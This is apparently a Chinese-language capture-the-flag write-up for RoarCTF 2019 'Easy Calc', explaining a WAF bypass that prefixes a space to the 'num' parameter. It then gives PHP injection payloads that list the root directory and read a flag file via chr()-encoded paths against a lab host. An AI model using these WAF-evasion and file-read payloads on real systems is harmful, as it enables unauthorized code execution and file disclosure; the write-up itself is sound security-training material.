少女祈祷中...

[RoarCTF 2019]Easy Calc(WAF+文件读取漏洞

原理:

在有些服务器解析当中%20(空格)之类的是不会被解析的,所以%20num就会被解析为num

但是在WAF里还是%00num,不是防止绕过的num,所以就不会对num进行注释绕过。

正片:

打开源码

image-20250226105742781

提醒我们使用了WAF,并且发现存在calc.php,那就看看

image-20250226105935984

发现在这个页面里是使用GET获取num的值最开始发现只能输入数字,后面去查才发现WAF绕过:

我们构造payload:

1
2
3
4
5
?%20num=print_r(scandir(chr(47)))
【print_r:输出更好看】
【scandir:扫描文件夹】
【chr:将ASCII码转为相应代码(47=/)】
【/:根目录意思】

得到:

image-20250226111344855

发现f1agg

构造:

1
http://node5.buuoj.cn:27958/calc.php?%20+num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

得到flag

image-20250226111521655